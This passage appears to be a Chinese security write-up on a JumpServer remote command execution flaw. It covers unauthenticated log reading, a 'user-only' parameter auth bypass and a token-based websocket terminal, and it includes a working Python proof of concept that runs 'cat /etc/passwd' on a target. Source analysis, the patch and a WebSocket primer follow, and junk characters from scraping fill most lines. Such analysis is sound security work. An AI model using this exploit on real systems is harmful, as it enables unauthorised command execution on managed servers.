7 x6 ?, ~! }7 `+ [! m4 s7 t/ K/ Q9 k4 z* p
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。0 B: q" W/ u; Y9 S4 `# R+ U
; k: O, H# h9 d$ z2 J1 M
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
$ s% K# }$ G$ O# \图片3 @9 D# x( ?: S6 ?3 E! c

" f* P  O& C5 D借助脚本进行websocket通信
, N) n# d7 @$ e0 Y& l. d6 B$ Y- B8 L- L4 t6 S7 _
import asyncio
% N/ Y1 I9 `3 b( U1 Z' eimport websockets2 f8 K+ {* J+ k/ H% q9 s
import requests/ r" x; [: @% s; a# d! R
import json7 T. R' G+ h& ~
url = "/api/v1/authentication/connection-token/?user-only=None"" o, ?1 ^4 y4 G% O/ p- e
# 向服务器端发送认证后的消息0 i* j1 c0 q0 U
async def send_msg(websocket,_text):$ ?1 }' i7 J  `; Y5 U0 w9 ]4 i
    if _text == "exit":- o; T# s% z/ O+ O3 x4 M6 _3 z
        print(f'you have enter "exit", goodbye')0 d$ n- G3 N) c6 h" v( S
        await websocket.close(reason="user exit")
$ v- V: V+ u' g2 R        return False5 B+ F- J6 J$ N3 i2 X/ Q6 ^( s/ y# [
    await websocket.send(_text)7 X+ e4 r) O3 p5 d
    recv_text = await websocket.recv()
8 r6 s9 X3 A6 t: ~4 Y1 ?& l    print(f"{recv_text}")
. w6 d5 n8 z7 M% T4 X# 客户端主逻辑" f0 b% o& }0 X" Q- V: [
async def main_logic(cmd):) b% j& P! U* Y/ k. {4 w1 u8 N* [" m
    print("###start ws")
1 n4 P" B8 D% A2 O6 G    async with websockets.connect(target) as websocket:1 c- T) r& V( N9 \
        recv_text = await websocket.recv()
/ v. O' v' F" m1 @9 I        print(f"{recv_text}")/ `% ~7 b& u2 d* t
        resws=json.loads(recv_text)
6 N) Y9 R5 |7 E; }' U        id = resws['id']" E5 S  J; y2 g) h& x; k% F( L  Z
        print("get ws id:"+id)
# g8 H. H- ]9 z* h2 R1 H; M        print("#######1########")) Y& ^  m) C$ c" j! @
        print("init ws")4 C: y: \( S# G" e
        print("#######2########"); A2 u# n+ _( f; \2 X* e
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})' j# F$ K) V& q- `/ _$ O0 j1 M
        await send_msg(websocket,inittext)
  ^# d# G5 w0 E! J# B        print("########3#######")8 w' m4 s4 d' k" w/ h2 g/ S: U3 t
        print("exec cmd: ls")
5 t' E) d$ ]' Q' z- s  R0 ]+ `0 R        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})  h- H! a- Y# i# u& Q  y
        print(cmdtext)$ z4 ]8 k( \4 _* S
        await send_msg(websocket, cmdtext)
: r: Y! C0 c( C& F; m( I" N        for i in range(20):8 O) i$ o) i4 S1 x# {
            recv_text = await websocket.recv()
! S( }8 s# d2 N. `2 c: X            print(f"{recv_text}")9 Q( W* e7 I- c% [7 h5 A$ [2 d
        print('###finish')7 ^5 r  P  d. t/ K( K8 u, A* c
if __name__ == '__main__':# G) ]; X; k; T1 S1 t0 w
    host = "http://192.168.18.182:8080"
) P6 i2 m# V8 ~" }0 G    cmd="cat /etc/passwd"
2 [  I! `) H' N6 v  W    if host[-1]=='/':
6 S0 Z( _# R( `" H        host=host[:-1]
0 t! s3 J5 L5 E    print(host)7 X1 s1 d# h5 R9 q5 B) A
    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",: N! O9 c% [3 J; Y
            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}
* _. ]2 ?9 b' V, q0 x! q; Q' q    print("##################")5 f9 L, z2 f5 {: E, A* m/ I. {
    print("get token url:%s" % (host + url,))5 w4 R* l6 k; q0 |. T- k
    print("##################")
. A0 g+ X  ]0 v& T$ B    res = requests.post(host + url, json=data)8 i5 T$ E) x9 d0 i1 i* m# y- G( j
    token = res.json()["token"]2 r" @3 a% h1 x" x
    print("token:%s", (token,))( R9 c0 b5 J* H
    print("##################")
% `, _& A# l% ^: L* q; B% ^    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
% F0 ~2 v$ z5 r3 U6 p    print("target ws:%s" % (target,))% D! }6 O+ @4 T# a
    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
, R3 m* Y8 _% Z* L+ x成功执行 "cat /etc/passwd" 命令0 V8 O" [+ s! f4 X

7 W7 n) r1 F' V5 F0 ]" j5 U$ N图片
3 J/ T# f9 ~8 P# ]1 P1 W$ `; A; e* [& g' H$ ^" ^0 x+ j
利用条件; V4 ]4 M# |; {" M% y
1.web终端登录方式为免密自动连接。2 A  x% x) Y! N! f/ O( C8 w

  s3 _& ?5 y, I3 l6 t2 p) N. }8 U若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。" ~) V# @5 S* g/ e) d* Y
& M9 p0 C5 `2 l6 r
图片4 K( D; z' v2 N$ }. b6 f6 B1 H, `) t* @

! m' s' X7 J7 G4 [当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
/ {2 I% s0 b0 `  J) K/ m
+ P3 h# r* m  b- F: E# F图片
7 e4 c$ K, {( V) a; ]
7 Z+ L/ y1 k/ Z+ u+ e  s( {1 g; b  |只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码. r7 x9 A! J$ w# r: e9 m. D; M

+ m, @" s# K, h" x3 ]5 c0 ^,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
9 L5 E, u9 `% I" ]4 s6 Y
1 b6 Q" @6 H: n& {  C2 ~- F开启自动登录和自动推送。
! c# y% w' I( p) c1 P9 c$ |3 v" B1 }" j
" u% r, A2 c1 E" u; j# O如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
6 d3 m. L& S  d: z: n: w: a
, K0 y/ p7 M* ]2 _6 L7 \% k图片
; k" N) M( K+ T! h; o
" h, `2 q6 w6 Q& C" T此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。
3 n) A, ?5 c1 U5 b3 G7 n; p- q1 i. a
图片' l0 D! r& Q! ^" l3 N) y
: w0 `/ D: ~' D' `' x
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
! W8 \  i6 q+ ?$ U' o
: Y9 x, G1 G4 B( |+ _" @图片
6 g5 a9 k1 b) H* w- a8 \  w
1 d4 o! u) w4 ?, S9 rjumpserver通常的配置都是自动登录的,这一条件容易满足。# b- M2 g& \. g8 J- z) L/ d8 j

( G8 b* R  Q; Z3 P; M2.系统用户在web终端与目标资产建立过连接。
7 `& u+ ]! |% Y! G& N- {% i) t5 o7 g) ~
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
4 D4 N, |" M9 f( I' I& a- ^! y$ c( z' i3 l
3.系统日志路径已知
: @3 q! F' g- D8 q
: T& k4 i5 g7 u系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。' _. ]) C0 `3 [

" s/ Q7 D0 X8 U3 o/ l攻击流程回顾
1 _3 a6 x" b6 F' w$ ^1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件5 [4 H/ n; l2 w4 e3 t/ ?  m+ h

1 ]' k$ r5 Y) L+ d" ^, |. S; |3 L2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
+ Y2 I4 s# m' n$ O# {+ m* B9 v, Z0 d. P( {4 g
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
) [- g- S! j* j3 `: P6 h
- P2 q) p4 R4 `/ }! T. Q4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。! W" Q. k/ ^  K2 \/ C  L2 `
$ x) `+ M& J! x' h
图片
' B: A) j: k# l1 ^" s) p5 I
* P) x' b+ Z+ k) l4 m& G, ]3 b3 P, f0x03漏洞分析4 r* ]9 l' r9 V+ C3 }
日志文件读取4 u0 u! [& |3 |  Q9 _
读取日志文件的接口为ws/ops/tasks/log/$ v% `$ Y* O! C! w5 N2 V* j
5 ?2 z1 u4 H" J& b
图片
+ g8 }% X. z/ p2 {' r! M
( @5 X# r6 O& k* `. Y分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
$ F) t6 i& {/ \9 q
* \2 l1 t: L- P# L  N* z图片6 a" P2 m! S( {) u: G/ D

+ R* V. S) e: d( [receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
2 N: U, F' x9 w  F3 e: a, W! L4 T% S2 z, u2 ?
图片
- ]  L  U5 K' k# n) |0 G6 {2 x& g$ b6 c
self.handle_task(task_id)  u$ X4 w& X8 g" b) _# J: k9 v

# n2 z, g4 Q5 R, w% y-->self.read_log_file(self,task_id)
: v' t4 B, @+ x: M  ]0 ^8 d& v# R( q1 W
-->self.wait_util_log_path_exist(task_id)
, X" [: _+ `/ `3 w
4 u- n+ x( [" G. N4 }8 N--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
0 ?& e6 z( Z, [5 m0 V% Y( D; m  M9 |7 N
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
2 X  x& ^+ q- e0 W$ q" X5 z4 O0 B# f0 b; _
图片/ ?! ^; [/ i% @0 g

; _: f- c7 C/ t* X* ^" C9 W( D当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。
7 \% p- d2 _# f) T6 J5 L$ ]; f  D6 \6 r% d- U# `
图片( j! I4 ^# I9 E0 ]
9 x, W; i7 Q+ Y$ `& B; E: C/ ]7 W
图片4 `& q& N6 w" \

9 M; I6 S) [0 a' S4 K5 M对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到% V% ~) C, Q5 ^! \

$ X7 J. N- p$ w0 V/ r图片! @0 W: ~# A0 o1 D4 e) Y
5 D9 ^0 @& Y* P5 b# W3 X
绕过身份验证获取token
0 d2 U; u* R, y0 q9 P  q5 papps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。6 ]3 a9 _4 ~4 G. d" u0 b
* n3 u5 O/ a+ G+ x- Z* s: H
图片
/ _1 {# {2 |0 @# H
8 \* T) ^. a/ D0 @# L3 C分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
5 l3 J( Q: d+ C8 d8 a4 m" s* r8 ^* P) Y: Q. V: q( k
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
: p' \+ }+ ~0 R7 Z+ g8 l# S1 C7 Y+ }0 s: S$ _. h. j1 h9 D, i2 `
图片1 l0 [2 G! }2 {  z4 p. O7 t8 x

7 l- u9 A0 G5 ^4 o7 ]5 Ipost请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。
- M6 R8 M" p% K! F! U' l3 N9 R+ R8 g/ `' n! `$ R7 {
图片
5 Z1 g7 q) @! f% `4 J0 s) ~( q6 g) s! _' M* K& G1 l2 {/ b5 J
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
# K) @9 v2 W. y: r8 V) H! a7 i5 U" ^
图片
5 w* C1 i: W& c  q# _( C* p7 w
  H7 ~/ J, a5 S0 a刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。: U, |$ \0 p- k
  R0 J/ G! r4 i
/api/v1/authentication/connection-token/
8 \* B! W0 h$ p* j: P; f- n/api/v1/users/connection-token/3 Y* C; [; f5 L. A
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/lu ... pp/services/http.ts4 E  p, ]0 D) O/ {! B
6 Z5 j6 e) i  [) b; D
图片
8 c! q1 R) t+ I- X2 {. r3 {; \3 H
6 z( s6 f3 t1 d. l. e+ @1 hwebsocket建立TTY终端会话0 {; F4 P8 \$ u5 S
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。& R. F: z& Y8 k/ W2 a7 e
& @8 S* n9 S- u
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
( W' y6 c* q$ f' k$ t
: T  n/ Q: E/ {8 Y# lhttps://github.com/jumpserver/koko
# a3 j9 `- ]7 v, l! y7 _3 F  e- k0 J9 {& Z2 V5 Y, G: n
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现, v- o- e5 `3 r3 W) Y. P5 W

2 r* @2 d+ N2 ~1 k2 x7 ?5 x图片, ?# {/ M( J" i& O

: ~& o+ g$ K$ N) H7 a  I; P( H9 e只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法* y( K3 a4 y2 Y0 T

0 A- e) w* G% S; N. d' B* R图片
$ A) P3 B( c( x! ~6 ]: ]) u5 P- f6 ~; K
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()8 R' D2 G- b) f$ m6 R8 x/ ~
5 w2 h! u2 B! k# ]4 O6 v. i% |
图片
2 k* o# p/ d) }! x; X/ N  b  ^5 k0 _7 @, z4 r. i
/koko/ws/terminal/( B+ |1 f3 ~# [1 C" d# N' U4 K2 d
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口# `  ?! i9 p% r
: R7 m2 ~5 s0 {: F7 ~
图片
& B5 I; A$ B: `$ K6 t7 V6 t; n) y$ V( q- o; P: E- h2 O4 q
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d738 j$ Q! p' @5 E1 J
进行websocket通信
7 B" J. c% n; N) m
7 N- t/ ~/ k3 e6 D% w  k图片
. W5 V  k! j; q3 p- x, s
3 T; w9 V* o8 Y8 ]/ J3 _processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。1 \% _9 b3 X, K1 k
, v: C  v4 B+ U6 J$ y' h$ i5 E6 U
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。" w8 x# ]% C- T) w0 i% I: I

$ U6 U3 P2 c2 j. Z2 P5 }; z, e图片
0 Z- {. b% J8 B' t+ V* H
; ]* C- {7 C" e. i" |; w系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
  H/ P9 ^; {' p
0 t  t' i( E3 f0 ^! E% @9 k% r+ C注意到 /koko/ws/token/ 接口却是无此类限制的。- t4 L8 k5 e. z) B

4 k- f  [6 o" G9 \. `图片
7 x8 k% C: x. M2 ]7 Z2 {3 V$ q/ q) c$ Q  l) W
/koko/ws/token/: Q4 ?8 `4 Q5 c5 F! f% ]  E3 [
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
  v+ G) X2 D3 |( P* \7 X& D6 F$ k4 H
图片
* Z2 I0 `- o" F0 }  S; K& Y% J) B, f5 A5 z; r
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。+ T! A# L- e0 G$ Y- \
. M( y3 J+ E) F$ j0 q
图片
. ?; ~7 W# K0 j, T3 v$ ?; c9 a, R6 D! s4 G+ H. t* }& c1 y* v8 F
图片5 d/ C* D/ [7 i

! q4 {$ W& }( E$ O上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。( X, K+ C" B: S, s% W! h
+ X5 @% r% Z/ w$ n0 f+ N
图片. p+ |5 a. _: ~# }4 I0 c/ ]$ o; |
4 D( a: a  E2 l; j2 ^+ y2 ]
本次通信则是仅携带有效token,从而获取该用户所有身份信息。, k6 ~4 R3 Z$ f) U6 T. m9 ]
: t: X4 U+ `3 |  h! L+ R/ }
图片3 k* F. j6 ]' w, X; q% I2 @' _

0 P" c" V) v4 N* e6 x& d* F' a综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
- N  \' i* \% g4 u- P" `% u
0 j/ W. _( m: n# ~4 z& Rws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
5 y! T$ I( Q  T) D% I( [{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}
! O5 U) W: R, b6 i! n1 A{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}  l0 v7 D( ^# y- H* W# N7 {
图片* a  _9 a, B! }! r& X1 P& {

8 {, z( x5 F" s3 O; B而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。: }& G3 ~' c1 A  l$ ]

- H  d9 R, P; y4 n补丁分析
' m6 L0 e1 N- {4 a* k( I漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。
' a: y& l, T; K' h3 k1 \" J. v2 k1 D1 _0 h; T
https://github.com/jumpserver/ju ... d1ccf19d683ed3af71e9 K6 z" `7 K. X

- N8 O* m$ \1 ~$ p. k图片/ T% O( k2 ~+ B2 g- {5 v$ i

3 D7 ^8 g# k% C7 E; v0x04关于websocket
! N- U# i7 e, ?' _WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。/ B: M: x( t  ^+ f$ t

+ R# b. g, x1 H* SHTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
4 Y- J- q* n) W' n9 ]
8 s7 ~" s3 a- IWebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。3 W! V. ^6 k6 \

" r& X* m7 G/ f( BWebSocket特点:
, ?3 r7 U, Y7 J/ o; p4 N/ U3 ?3 i& D
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。8 z: [  G" ]% k9 f
9 m' }2 f2 i2 \
2.可以发送文本,也可以发送二进制数据。$ n# W! M, E4 z( d' m7 _( j
3 {' i' D1 @' N
3.没有同源限制,客户端可以与任意服务器通信。$ l2 Z' U* f, U& B
3 ^4 w7 a; Z, i. N( \
4.协议标识符是ws(如果加密,则为wss)
' T0 H! g9 p0 F$ y0 J
4 S5 D4 r1 Q2 g1 CWebSocket通信
! L+ O8 B1 {" v# z3 n0 T" t: o( tWebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。' B) M% }* x- j2 i5 p* t' f; b! d
' p# e) b. p/ R8 d; R
图片
7 l* i$ r1 o% k  P' f( {& w( G  B' Q- y
建立连接8 Q4 C2 I, C5 z3 Y! s7 Y
客户端请求报文:& X, M% m, [- P2 ~

. H6 F4 D- p  q  {- m, rGET / HTTP/1.1
, b% M5 e  `* U2 m' q" y5 _Upgrade: websocket
, Q. v/ M! s' t/ L2 h1 q( |9 C9 PConnection: Upgrade( B0 `5 R& ~/ N5 k& Y) E( t/ e  B
Host: example.com
6 h' [% n) Y1 w6 sOrigin: http://example.com; ?; I+ o, m2 _: Z
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
, b' }: b! y5 Y! r4 h8 QSec-WebSocket-Version: 13  B, c+ J8 U" J. X
Connection、Upgrade字段声明需要切换协议为websocket& m( p6 J2 M" I# [
Sec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
. M% w7 Y: e( o! ?4 o# RSec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
7 q# u. ]5 z/ t* y! Z, b8 V) t
1 V% a% \6 v& F& t服务端的响应报文:
7 I7 v% F( d7 h7 _
1 C1 R9 j* W  }' c9 b$ uHTTP/1.1 101 Switching Protocols
; R5 U% F$ z- M, |6 z- S# m6 MUpgrade: websocket
8 `# m% |# H4 n4 B' F- p7 c; FConnection: Upgrade
: G2 }/ h, D2 b  \. V# H3 cSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
( \/ n4 s1 o+ d( t: Z" ?Sec-WebSocket-Protocol: chat$ X; ]1 z: d5 v! r1 D* A
Upgrade消息头通知客户端确认切换协议来完成这个请求;- C4 l8 R3 f  m" X. l

) q* a& Y) P& k6 O9 {9 \/ F7 BSec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
' C1 ?1 D' f$ }# X
; U+ ~8 S' c2 p+ K4 g; \1 e" jSec-WebSocket-Protocol则是表示最终使用的协议。
# }+ b6 i' X) D6 k" E1 D! U) v& X
) I2 F$ O7 K0 D) b# n: M注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。  F5 f3 w" K5 L- Z' s

8 |& I; L8 w* K" j2 y2 Y4 D& H进行通信
$ i/ ~- F9 _- f+ p% B( A服务端接收到客户端发来的Websocket报文需要进行解析。
, b" n9 w' @; P  e# X, T7 U* u( u3 r" O% n8 E5 |. F
数据包格式
8 `1 R" c4 d2 `8 \1 \' \
, Y! ]0 b) }0 K( A+ k图片
" G) G( x1 m' X% ]7 L0 K+ @# U6 W( t. a
Mask位表示是否要对数据载荷进行掩码异或操作。
, |- ^2 U6 S) p7 I# A) p
* F' g8 b$ R0 E/ pPayload length表示数据载荷的长度。! M- h* {+ z% O: C' T. D! u
7 Q& O: b2 y1 m# Z! N7 t
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
% {+ h2 v. W" O4 }
3 {* R) E( {0 M, E0 v0 cPayload Data为载荷数据。* e% w' Q" M$ d# @/ F* M" {  f  _
0 `% x8 E% W8 f  ~
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
) E" k0 Q# U7 {+ N4 }5 |- j4 t: k; R6 k" Y  b* I
心跳  Q+ p7 {* ~# d/ K8 f: O# U
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。1 f: Q0 h" w+ U

/ S/ h0 x- U& m% T发送方->接收方:ping
: ?( w# ~# W- u7 i" c2 q0 t$ J8 O+ d$ f# e, E
接收方->发送方:pong
, q9 o0 Z1 U+ Z  b1 J
" f' c3 {' m8 F. iping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
) S5 D- }% m" }" ~0 k; k, J9 B- H7 _5 h
关闭连接
6 `% K, Z& F0 Q* U; y& A) t6 N) U) [关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。3 X3 W- }+ k* _6 x

; k9 ?6 I& N3 `Web Terminal实现/ Q0 ^* y4 _# p9 |+ W
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。# i8 v" i4 ^  l0 ?1 Y
8 F" m  {( r+ s0 u* k! Q
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。; T8 b/ }+ F  ]9 |  e* i- e

6 S& A4 j8 h, V2 [& y' S5 CWeb Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
  e9 j+ V$ A6 P" j+ u, C: b1 l$ [1 m. j" d
实现思路:% m7 S2 K* M4 r$ B! w. v1 Z: d

9 [2 @5 }3 Y9 P% F1 U$ h) S; N1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
+ W# \# E, n8 \2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel1 U) V& C* @3 X& I( ?
3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
5 F# c6 ?) @1 u* z4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。
0 t! `2 g! j" S6 b" N7 x8 n0 l5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
* P) Z6 ], V& C6 D3 i/ e7 k  a$ w! |& p
' r: `* V5 r  K) D" {4 I图片5 M6 H0 \( e# Q2 U4 ^+ ]+ H6 {, f

. k4 H) y) E& y" b7 `JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。
6 ]6 r; g0 h& m" R- z( V1 F7 J+ g1 C
图片- Y! Y0 I( p; Z% H! `9 _) K
9 @. ]0 o8 }$ v4 q& F7 o
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
+ k  B# }+ A% _# W* B7 Q* v  p& \1 }2 \
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1
, x8 z8 C4 i) }2 Q! M% r5 KHost: 192.168.18.182:80800 v& e( P7 c2 q6 z2 U% C" C
Connection: Upgrade1 c% j# N2 B: g6 S9 [; C; ], |
Pragma: no-cache0 m5 W2 J& ]$ b, R# r
Cache-Control: no-cache, |; T7 W5 m& v) U9 q7 x* k+ N3 [
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.364 z7 V3 b: h5 B* q8 K) U% j
Upgrade: websocket
/ P7 E+ }" a: X$ b" L8 f6 aOrigin: http://192.168.18.182:8080
  G7 F- F- z3 B* v$ m8 q0 X) ^Sec-WebSocket-Version: 13
4 @$ e! d: F2 T6 V, t& m0 S9 WAccept-Encoding: gzip, deflate
7 k3 z% a7 b0 E/ cAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
. m( ~2 J8 `/ X9 a/ y7 G9 a" U0 qCookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146" s" d9 A) |7 @& J, _
Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==
, }1 v6 N' q* ~8 H; p& VSec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
8 D" s9 P9 o- R" {  }3 y6 hSec-WebSocket-Protocol: JMS-KOKO$ I! A5 u- J. Q1 O0 N% A8 J
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。2 ~! E, r- k5 D" H4 N9 a; s9 B

4 |6 M7 q+ z) f7 B. E1 F& ?HTTP/1.1 101 Switching Protocols
- L5 n, t! P4 I3 r; o0 ]: }Server: nginx
7 b+ V3 c* H6 r. U- RDate: Mon, 01 Feb 2021 17:29:47 GMT
0 _# m- Q- N" m3 [8 O4 ~Connection: upgrade
. @, g% q# E0 A  @+ p- I  e, w% {Upgrade: websocket
, K( j0 g: z1 w* [& I0 xSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=
& V$ G: R/ f& A" |4 h4 BSec-WebSocket-Protocol: JMS-KOKO, }% a$ q; }9 \) C' R
注意到使用web终端功能时,系统主要发起两个请求,分别是9 }, C7 V1 r$ W

' o+ U$ i  B) N* |8 c; qws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
